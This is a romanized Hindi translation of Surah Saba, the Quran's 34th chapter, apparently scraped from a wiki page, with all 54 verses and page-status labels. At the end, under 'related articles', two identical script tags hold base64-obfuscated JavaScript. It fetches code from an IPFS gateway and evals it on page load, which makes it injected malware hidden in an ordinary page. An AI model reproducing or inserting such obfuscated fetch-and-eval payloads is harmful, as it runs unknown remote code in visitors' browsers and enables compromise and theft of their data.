सबा

saba islam dharm ke pavitr granth quran ka 34vaan soora (adhyay) hai jisamean 54 ayatean hoti haian.

34:1- har qism ki tariph usi khuda ke lie (duniya mean bhi) sazavar hai ki jo kuchh asamanoan mean hai aur jo kuchh zamin mean hai (garaz sab kuchh) usi ka hai aur akherat mean (bhi har taraph) usi ki tariph hai aur vahi vaqiphakar hakim hai.
34:2- (jo) chizean (bij vagairah) zamin mean dakhil huee hai aur jo chiz (darakht vagairah) isamean se nikalati hai aur jo chiz (pani vagairah) asaman se nazil hoti hai aur jo chiz (nazarat pharishte vagairah) us par chadhati hai (sab) ko janata hai aur vahi b da bakhshane vala hai.
34:3- aur kuphphar kahane lage ki ham par to qayamat aegi hi nahian (ai rasool) tum kah do h aau (h aau) mujh ko apane us alemul gaib paravaradigar ki qasam hai jisase zarra barabar (koee chiz) n asaman mean chhipi huee hai aur n zamin mean ki qayamat zaroor aegi aur zarre se chhoti chiz aur zarre se badi (garaz jitani chize haian sab) vajee v raushan kitab lauhe mahaphooz mean mahaphooz haian.
34:4- taki jin logoan ne eeman qubool kiya aur (achchhe) kam kie unako khuda jazae khair de yahi vah log haian jinake lie (gunahoan ki) magapherat aur (bahut hi) ijzat ki rozi hai.
34:5- aur jin logoan ne hamari ayatoan (ke to d) mean muqabile ki dau d-dhoop ki un hi ke lie dardanak azab ki saza hogi.
34:6- aur (ai rasool) jin logoan ko (hamari baragah se) ilm ata kiya gaya hai vah janate haian ki jo (quran) tumhare paravaradigar ki taraph se tum par nazil hua hai bilkul thik hai aur sazavar hamd (v sana) galib (khuda) ki rah dikhata hai.
34:7- aur kuphfar (masakharepan se baham) kahate haian ki kaho to ham tumhean aisa adami (mohammad) bata dean jo tum se bayan karega ki jab tum (mar kar s d gal jaoge aur) bilkul reza reza ho jaoge to tum yaqinan ek ne jism mean aoge.
34:8- kya us shakhs (mohammad) ne khuda par jhooth toophan baandha hai ya use junoon (ho gaya) hai (n mohammad jhootha hai n use junoon hai) balki khud vah log jo akherat par eeman nahian rakhate azab aur pahale daraje ki gumarahi mean p de hue haian.
34:9- to kya un logoan ne asaman aur zamin ki taraph bhi jo unake age aur unake pichhe (sab taraph se ghere) haian gaur nahian kiya ki agar ham chahe to un logoan ko zamin mean dhansa dean ya un par asaman ka koee tuk da hi gira dean isamean shak nahian ki isamean har roojoo karane vale bande ke lie yaqini b di ibarat hai.
34:10- aur hamane yaqinan daood ko apani baragah se burjugi inayat ki thi (aur paha doan ko hukm diya) ki ai paha doan tasabih karane mean unaka sath do aur parind ko (tabee kar diya) aur unake vaste lohe ko (mom ki tarah) naram kar diya tha.
34:11- ki phanrakh v kushada jirah banao aur (k diyoan ke) jo dane mean andaze ka khyal rakho aur tum sab ke sab achchhe (achchhe) kam karo vo kuchh tum log karate ho maian yaqinan dekh raha hooan.
34:12- aur hava ko suleman ka (tabeidar bana diya tha) ki usaki subah ki raphtar ek mahine (musafat) ki thi aur isi tarah usaki sham ki raphtar ek mahine (ke musaphat) ki thi aur hamane unake lie taanbe (ko pighalakar) usaka chashma jari kar diya tha aur jinnat (ko unaka tabedar kar diya tha ki un) mean kuchh log unake paravaradigar ke hukm se unake samane kam kaj karate the aur unamean se jisane hamare hukm se inaharaf kiya hai use ham (qayamat mean) jahannum ke azab ka maza chakhaanege.
34:13- garaz suleman ko jo banavana manzoor hota ye jinnat unake lie banate the (jaise) masjidean, mahal, qile aur (pharishte ambiya ki) tasvirean aur hauzoan ke barabar pyale aur (ek jagah) g di huee (b di b di) degean (ki ek hazar adami ka khana pak sake) ai daood ki aulad shukr karate raho aur mere bandoan mean se shukr karane vale (bande) tho de se haian.
34:14- phir jab hamane suleman par maut ka hukm jari kiya to (mar ge) magar lak di ke sahare kh de the aur jinnat ko kisi ne unake marane ka pata n bataya magar zamin ki dimak ne ki vah suleman ke asa ko kha rahi thi phir (jab khokhala hokar toot gaya aur) suleman (ki lash) giri to jinnat ne jana ki agar vah log gaib v aau (gaib ke janane vale) hote to (is) zalil karane vali (kam karane ki) musibat mean n mubtila rahate.
34:15- aur (qaum) saba ke lie to yaqinan khud unhian ke gharoan mean (kudarate khuda ki) ek b di nishani thi ki unake shahar ke donoan taraph dahine baean (hare-bhare) bagat the (aur unako hukm tha) ki apane paravaradigar ki di huee rozi Âao (piyo) aur usaka shukr ada karo (duniya mean) aisa pakiza shahar aur (akherat mean) paravaradigar sa bakhshane vala.
34:16- is par bhi un logoan ne muanh pher liya (aur paigambaroan ka kaha n mana) to hamane (ek hi band to dakar) un par b de zoroan ka sailab bhej diya aur (unako tabah karake) unake donoan bagoan ke badale aise do bag die jinake phal badamaza the aur unamean jhaoo tha aur kuchh tho di si beriyaan thi.
34:17- ye hamane unaki nashukri ki saza di aur ham to b de nashukroan hi ki saza kiya karate haian.
34:18- aur ham ahale saba aur (sham) ki un bastiyoan ke daramiyan jinamean hamane barakat ata ki thi aur chand bastiyaan (sare rah) abad ki thi jo baham numaya thian aur hamane unamean amad v rapht ki rah muqarrar ki thi ki unamean ratoan ko dinoan ko (jab ji chahe) bekhatake chalo phiro.
34:19- to vah log khud kahane lage paravaradigar (qarib ke saphar mean lutph nahian) to hamare safaroan mean doori paida kar de aur un logoan ne khud apane oopar zulm kiya to hamane bhi unako (tabah karake unake) aphasane bana die - aur unaki dhajjiyaan u da ke unako titir bitir kar diya beshak unamean har sabr v shukr karane valoanke vaste b di ibarate haian.
34:20- aur shaitan ne apane khyal ko (jo unake bare mean kiya tha) sach kar dikhaya to un logoan ne usaki pairavi ki magar eemanavaloan ka ek giroh (n bhataka).
34:21- aur shaitan ka un logoan par kuchh qaboo to tha nahian magar ye (matalab tha) ki ham un logoan ko jo akherat ka yaqin rakhate haian un logoan se alag dekh lean jo usake bare mean shak mean (p de) haian aur tumhara paravaradigar to har chiz ka nigar aau hai.
34:22- (ai rasool inase) kah do ki jin logoan ko tum khud khuda ke siva (mabood) samajhate ho pukaro (to maloom ho jaega ki) vah log zarra barabar n asamanoan mean kuchh ikhateyar rakhate haian aur n zamin mean aur n unaki un donoan mean shirakat hai aur n unamean se koee khuda ka (kisi chiz mean) maddagar hai.
34:23- jisake lie vah khud ijazat ata faramae usake siva koee sipharish usaki baragah mean kam n aegi (usake darabar ki haibat) yahaan tak (hai) ki jab (shifaat ka) hukm hota hai to shifaat karane vale behosh ho jate haian phir tab unake diloan ki ghabarahat door kar di jati hai to poochhate haian ki tumhare paravaradigar ne kya hukm diya.
34:24- to muqarrib pharishte kahate haian ki jo vajibi tha (ai rasool) tum (inase) poochho to ki bhala tumako sare asaman aur zamin se kaun rozi deta hai (vah kya kaheange) tum khud kah do ki khuda aur maian ya tum (donoan mean se ek to) zaroor rahe rast par hai (aur doosara gumarah) ya vah sarihi gumarahi mean p da hai (aur doosara rahe rast par).
34:25- (ai rasool) tum (unase) kah do n hamare gunahoan ki tumase poochh gachh hogi aur n tumhari karastaniyoan ki ham se baz purs.
34:26- (ai rasool) tum (unase) kah do ki hamara paravaradigar (qayamat mean) ham sabako ikattha karega phir hamare daramiyan (thik) phaisala kar dega aur vah to thik-thik phaisala karane vala vaqiphakar hai.
34:27- (ai rasool tum kah do ki jinako tum ne khuda ka sharik banakar) khuda ke sath milaya hai zara unhean mujhe bhi to dikha do haragiz (koee sharik nahian) balki khuda galib hikamat vala hai.
34:28- (ai rasool) hamane tumako tamam (duniya ke) logoan ke lie (nekoan ko behasht ki) khushakhabari dene vala aur (bandoan ko azab se) darane vala (paigambar) banakar bheja magar bahutere log (itana bhi) nahian janate.
34:29- aur (ulate) kahate haian ki agar tum (apane dave mean) sachche ho to (akhir) ye qayamat ka vayada kab poora hoga.
34:30- (ai rasool) tum unase kah do ki tum logoan ke vaste ek khas din ki miyad muqarrar hai ki n tum usase ek gh di pichhe rah sakate ho aur n age hi b d sakate ho.
34:31- aur jo log kaphir hoan baithe kahate haian ki ham to n is quran par haragiz eeman laeange aur n us (kitab) par jo isase pahale nazil ho chuki aur (ai rasool tumako bahut tajjub ho) agar tum dekho ki jab ye zalim qayamat ke din apane paravaradigar ke samane kh de kie jayeange (aur) unamean ka ek doosare ki taraph (apani) bat ko pherata hoga ki kamazor adana (daraje ke) log b de (sarakash) logoan se kahate hogean ki agar tum (hamean) n (bahakae) hote to ham zaroor eemanavale hote (is musibat mean n p date).
34:32- to sarakash log kamazoroan se (mukhatib hokar) kaheange ki jab tumhare pas (khuda ki taraf se) hidayat ayi to thi to kya usake ane ke bad hamane tumako (zabaradasti aml karane se) roka tha (haragiz nahian) balki tum to khud mujarim the.
34:33- aur kamazor log b de logoan se kaheange (ki zabaradasti to nahian ki magar ham khud bhi gumarah nahian hue) balki (tumhari) rat-din ki pharebadehi ne (gumarah kiya ki) tum log hamako khuda n manane aur usaka sharik thaharane ka barabar hukm dete rahe (to ham kya karate) aur jab ye log azab ko (apani aauankhoan se) dekh leange to dil hi dil mean pachhataeange aur jo log kaphir ho baithe ham unaki gardanoan mean tauq dal deange jo karastaniyaan ye log (duniya mean) karate the usi ke muvaphiq to saza di jaegi.
34:34- aur hamane kisi basti mean koee darane vala paigambar nahian bheja magar vahaan ke log ye zaroor bol utheange ki jo ehakam dekar tum bheje ge ho ham unako nahian manate.
34:35- aur ye bhi kahane lage ki ham to (eemanadaroan se) mal aur aulad mean kahian jyada hai aur ham par akherat mean (azab) bhi nahian kiya jaega.
34:36- (ai rasool) tum kah do ki mera paravaradigar jisake lie chahata hai rozi kushada kar deta hai aur (jisake liai chahata hai) tang karata hai magar bahutere log nahian janate haian.
34:37- aur (yad rakho) tumhare mal aur tumhari aulad ki ye hasti nahian ki tum ko hamari baragah mean muqarrib bana dean magar (haan) jisane eeman kubool kiya aur achchhe (achchhe) kam kie un logoan ke lie to unaki karaguzariyoan ki dohari jaza hai aur vah log (behasht ke) jharokhoan mean itmenan se raheange.
34:38- aur jo log hamari ayatoan (ki to d) mean muqabale ki niyat se dau d ddoop karate haian vahi log (jahannum ke) azab mean jhok die jaeange.
34:39- (ai rasool) tum kah do ki mera paravaradigar apane bandoan mean se jisake lie chahata hai rozi kushada kar deta hai aur (jisake lie chahata hai) tang kar deta hai aur jo kuchh bhi tum log (usaki rah mean) kharch karate ho vah usaka aivaj dega aur vah to sabase behatar rozi denevala hai.
34:40- aur (vah din yad karo) jis din sab logoan ko ikattha karega phir pharishtoan se poochhega ki kya ye log tumhari parasatish karate the pharishte arz kareange (bare ilaha) too (har aib se) pak v pakiza hai.
34:41- too hi hamara malik hai n ye log (ye log hamari nahian) balki jinnat (khabaes bhoot-paret) ki parasatish karate the ki unamean ke aksar log unhian par eeman rakhate the 34:42- tab (khuda pharamaega) aj to tumamean se koee n doosare ke phayade hi pahuanchane ka ikhteyar rakhata hai aur n zarar ka aur ham sarakashoan se kaheange ki (aj) us azab ke maze chakho jise tum (duniya mean) jhuthalaya karate the.
34:43- aur jab unake samane hamari vazee v raushan ayatean padhi jati thian to baham kahate the ki ye (rasool) bhi to bas (hamara hi jaisa) adami hai ye chahata hai ki jin chizoan ko tumhare bap-dada poojate the (unaki parasatish) se tum ko rok dean aur kahane lage ki ye (quran) to bas nira jhooth hai aur apane ji ka gadha hua hai aur jo log kafir ho baitho jab unake pas haq bat ayi to usake bare mean kahane lage ki ye to bas khula hua jadoo hai.
34:44- aur (ai rasool) hamane to un logoan ko n (asamani) kitabean ata ki tumhean jinhean ye log padhate aur n tumase pahale in logoan ke pas koee daranevala (paigambar) bheja (us par bhi unhoanne qadr n ki).
34:45- aur jo log unase pahale guzar ge unhoanne bhi (paigambaroan ko) jhuthalaya tha hal aauki hamane jitana un logoan ko diya tha ye log (abhi) usake dasavean hissa ko (bhi) nahian pahuanche us par un logoan n mere (paigambaroan ko) jhuthalaya tha to tumane dekha ki mera (azab un par) kaisa sakht hua.
34:46- (ai rasool) tum kah do ki maian tumase nasihat ki bas ek bat kahata hooan (vah) ye (hai) ki tum log baz khuda ke vaste ek-ek aur do-do uth kh de ho aur achchhi tarah gaur karo to (dekh loge ki) tumhare raphiq (mohammad s0) ko kisi tarah ka junoon nahian vah to bas tumhean ek sakht azab (qayamat) ke samane (ane) se darane vala hai.
34:47- (ai rasool) tum (ye bhi) kah do ki (tabalikhe risalat ki) maianne tumase kuchh ujarat maangi ho to vah tumhian ko (mubarak) ho meri ujarat to bas khuda par hai aur vahi (tumhare amal aphal) har chiz se khoob vaqiph hai.
34:48- (ai rasool) tum unase kah do ki mera b da gaibavaan paravaradigar (mere dil mean) din haq ko barabar oopar se utarata hai.
34:49- (ab unase) kah do dine haq a gaya aur itana to bhi (samajho ki) batil (mabood) shuroo-shuroo kuchh paida karata hai n (marane ke bad) dobara zinda kar sakata hai.
34:50- (ai rasool) tum ye bhi kah do ki agar maian gumarah ho gaya hooan to apani hi jan par meri gumarahi (ka vabal) hai aur agar maian rahe rast par hooan to is vahi ke tufail se jo mera paravaradigar meri taraf bhejata hai beshak vah sunane vala (aur bahut) qarib hai.
34:51- aur (ai rasool) kash tum dekhate (to sakht tajjub karate) jab ye kuphphar (maidane hashar mean) ghabarae-ghabarae phirate hoange to bhi chhutakara n hoga.
34:52- aur as hi pas se (baasani) giraphtar kar lie jaeange aur (us vakt bebasi mean) kaheange ki ab ham rasooloan par eeman lae aur itani door daraz jagah se (eeman par) unaka dasataras (pahuanchana) kahaan mumakin hai.
34:53- hal aauki ye log usase pahale hi jab unaka dasataras tha inkar kar chuke aur (duniya mean tamam umr) be dekhe bhale (atakal ke) take b di-b di door se chalate rahe.
34:54- aur ab to unake aur unaki tamannaoan ke daramiyan (usi tarah) parda dal diya gaya hai jis tarah unase pahale unake hamarang logoan ke sath (yahi baratav) kiya ja chuka isamean shak nahian ki vah log b de bechain karane vale shak mean p de hue the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• saba
• Surah Saba / সূরা সাবা

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>